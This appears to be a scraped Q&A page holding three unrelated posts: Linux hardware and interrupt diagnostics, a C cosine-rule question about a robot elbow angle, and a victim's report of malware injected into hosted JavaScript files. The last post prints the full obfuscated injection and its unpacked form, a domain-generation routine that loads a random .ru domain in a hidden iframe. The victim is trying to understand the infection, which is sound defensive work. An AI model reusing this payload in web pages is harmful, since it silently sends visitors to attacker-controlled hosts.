Audio device: nVidia Corporation Device 0e0c (rev a1) 04:00.0 USB Controller: NEC Corporation uPD720200 USB 3.0 Host Controller (rev 04) 06:00.0 USB Controller: NEC Corporation uPD720200 USB 3.0 Host Controller (rev 04) 07:00.0 PCI bridge: Device 1b21:1080 (rev 01) 08:02.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8110SC/8169SC Gigabit Ethernet (rev 10) 08:03.0 FireWire (IEEE 1394): VIA Technologies, Inc. VT6306/7/8 [Fire II(M)] IEEE 1394 OHCI Controller (rev c0) Contents of /proc/interrupts: CPU0 CPU1 CPU2 CPU3 CPU4 CPU5 CPU6 CPU7 0: 77 0 0 0 0 0 0 0 IO-APIC-edge timer 1: 2 0 0 0 0 0 0 0 IO-APIC-edge i8042 8: 1 0 0 0 0 0 0 0 IO-APIC-edge rtc0 9: 0 0 0 0 0 0 0 0 IO-APIC-fasteoi acpi 12: 4 0 0 0 0 0 0 0 IO-APIC-edge i8042 16: 699083 0 0 0 0 0 0 0 IO-APIC-fasteoi nvidia, eth0 17: 87810 0 0 0 0 0 0 0 IO-APIC-fasteoi firewire_ohci, hda_intel, nvidia 18: 242 0 0 0 0 0 0 0 IO-APIC-fasteoi hda_intel 23: 85925 0 0 0 0 0 0 0 IO-APIC-fasteoi ehci_hcd:usb5, ehci_hcd:usb6 40: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 41: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 42: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 43: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 44: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 45: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 46: 79853 0 0 0 0 0 0 0 PCI-MSI-edge ahci 48: 1 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 49: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 50: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 51: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 52: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 53: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 54: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 55: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 56: 1 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 57: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 58: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 59: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 60: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 61: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 62: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 63: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 64: 173506 0 0 0 0 0 0 0 PCI-MSI-edge hda_intel NMI: 482 89 25 13 277 24 11 10 Non-maskable interrupts LOC: 783857 194752 114133 70577 372438 179065 117179 162016 Local timer interrupts SPU: 0 0 0 0 0 0 0 0 Spurious interrupts PMI: 482 89 25 13 277 24 11 10 Performance monitoring interrupts IWI: 0 0 0 0 0 0 0 0 IRQ work interrupts RES: 131917 46750 7432 3291 150003 9576 3435 3067 Rescheduling interrupts CAL: 2759 6563 7150 6997 5387 7140 7269 6678 Function call interrupts TLB: 4396 2038 1336 492 5434 1896 1121 606 TLB shootdowns TRM: 0 0 0 0 0 0 0 0 Thermal event interrupts THR: 0 0 0 0 0 0 0 0 Threshold APIC interrupts MCE: 0 0 0 0 0 0 0 0 Machine check exceptions MCP: 37 37 37 37 37 37 37 37 Machine check polls ERR: 0 MIS: 0 Last but not least, right after boot-up those lines are usually present in dmesg: [ 18.367094] hda-intel: IRQ timing workaround is activated for card #1. Suggest a bigger bdl_pos_adj. [ 18.458859] hda-intel: IRQ timing workaround is activated for card #2. Suggest a bigger bdl_pos_adj. I'm not sure if it's related or a symptom of a bigger problem so I'm posting it just in case. I don't really know what other information might be of relevance here. Don't hesitate to ask for more in the comments.

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  • Representing robot's elbow angle in 3-D

    - by Onkar Deshpande
    I am given coordinates of two points in 3-D viz. shoulder point and object point(to which I am supposed to reach). I am also given the length from my shoulder-to-elbow arm and the length of my forearm. I am trying to solve for the unknown position(the position of the joint elbow). I am using cosine rule to find out the elbow angle. Here is my code - #include <stdio.h> #include <math.h> #include <stdlib.h> struct point { double x, y, z; }; struct angles { double clock_wise; double counter_clock_wise; }; double max(double a, double b) { return (a > b) ? a : b; } /* * Check if the combination can make a triangle by considering the fact that sum * of any two sides of a triangle is greater than the remaining side. The * overlapping condition of links is handled separately in main(). */ int valid_triangle(struct point p0, double l0, struct point p1, double l1) { double dist = sqrt(pow((fabs(p1.z - p0.z)), 2) + pow((fabs(p1.y - p0.y)), 2) + pow((fabs(p1.x - p0.x)), 2)); if((max(dist, l0) == dist) && max(dist, l1) == dist) { return (dist < (l0 + l1)); } else if((max(dist, l0) == l0) && (max(l0, l1) == l0)) { return (l0 < (dist + l1)); } else { return (l1 < (dist + l0)); } } /* * Cosine rule is used to find the elbow angle. Positive value indicates a * counter clockwise angle while negative value indicates a clockwise angle. * Since this problem has at max 2 solutions for any given position of P0 and * P1, I am returning a structure of angles which can be used to consider angles * from both direction viz. clockwise-negative and counter-clockwise-positive */ void return_config(struct point p0, double l0, struct point p1, double l1, struct angles *a) { double dist = sqrt(pow((fabs(p1.z - p0.z)), 2) + pow((fabs(p1.y - p0.y)), 2) + pow((fabs(p1.x - p0.x)), 2)); double degrees = (double) acos((l0 * l0 + l1 * l1 - dist * dist) / (2 * l0 * l1)) * (180.0f / 3.1415f); a->clock_wise = -degrees; a->counter_clock_wise = degrees; } int main() { struct point p0, p1; struct angles a; p0.x = 15, p0.y = 4, p0.z = 0; p1.x = 20, p1.y = 4, p1.z = 0; double l0 = 5, l1 = 8; if(valid_triangle(p0, l0, p1, l1)) { printf("Three lengths can make a valid configuration \n"); return_config(p0, l0, p1, l1, &a); printf("Angle of the elbow point (clockwise) = %lf, (counter clockwise) = %lf \n", a.clock_wise, a.counter_clock_wise); } else { double dist = sqrt(pow((fabs(p1.z - p0.z)), 2) + pow((fabs(p1.y - p0.y)), 2) + pow((fabs(p1.x - p0.x)), 2)); if((dist <= (l0 + l1)) && (dist > l0)) { a.clock_wise = -180.0f; a.counter_clock_wise = 180.0f; printf("Angle of the elbow point (clockwise) = %lf, (counter clockwise) = %lf \n", a.clock_wise, a.counter_clock_wise); } else if((dist <= fabs(l0 - l1)) && (dist < l0)){ a.clock_wise = -0.0f; a.counter_clock_wise = 0.0f; printf("Angle of the elbow point (clockwise) = %lf, (counter clockwise) = %lf \n", a.clock_wise, a.counter_clock_wise); } else printf("Given combination cannot make a valid configuration\n"); } return 0; } However, this solution makes sense only in 2-D. Because clockwise and counter-clockwise are meaningless without an axis and direction of rotation. Returning only an angle is technically correct but it leaves a lot of work for the client of this function to use the result in meaningful way. How can I make the changes to get the axis and direction of rotation ? Also, I want to know how many possible solution could be there for this problem. Please let me know your thoughts ! Any help is highly appreciated ...

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  • Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

    - by h3.
    This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/ Once unpacked it looks like this: function nextRandomNumber(){ var hi = this.seed / this.Q; var lo = this.seed % this.Q; var test = this.A * lo - this.R * hi; if(test > 0){ this.seed = test; } else { this.seed = test + this.M; } return (this.seed * this.oneOverM); } function RandomNumberGenerator(unix){ var d = new Date(unix*1000); var s = d.getHours() > 12 ? 1 : 0; this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF)); this.A = 48271; this.M = 2147483647; this.Q = this.M / this.A; this.R = this.M % this.A; this.oneOverM = 1.0 / this.M; this.next = nextRandomNumber; return this; } function createRandomNumber(r, Min, Max){ return Math.round((Max-Min) * r.next() + Min); } function generatePseudoRandomString(unix, length, zone){ var rand = new RandomNumberGenerator(unix); var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']; var str = ''; for(var i = 0; i < length; i ++ ){ str += letters[createRandomNumber(rand, 0, letters.length - 1)]; } return str + '.' + zone; } setTimeout(function(){ try{ if(typeof iframeWasCreated == "undefined"){ iframeWasCreated = true; var unix = Math.round(+new Date()/1000); var domainName = generatePseudoRandomString(unix, 16, 'ru'); ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx"); ifrm.style.width = "0px"; ifrm.style.height = "0px"; ifrm.style.visibility = "hidden"; document.body.appendChild(ifrm); } }catch(e){} }, 500);

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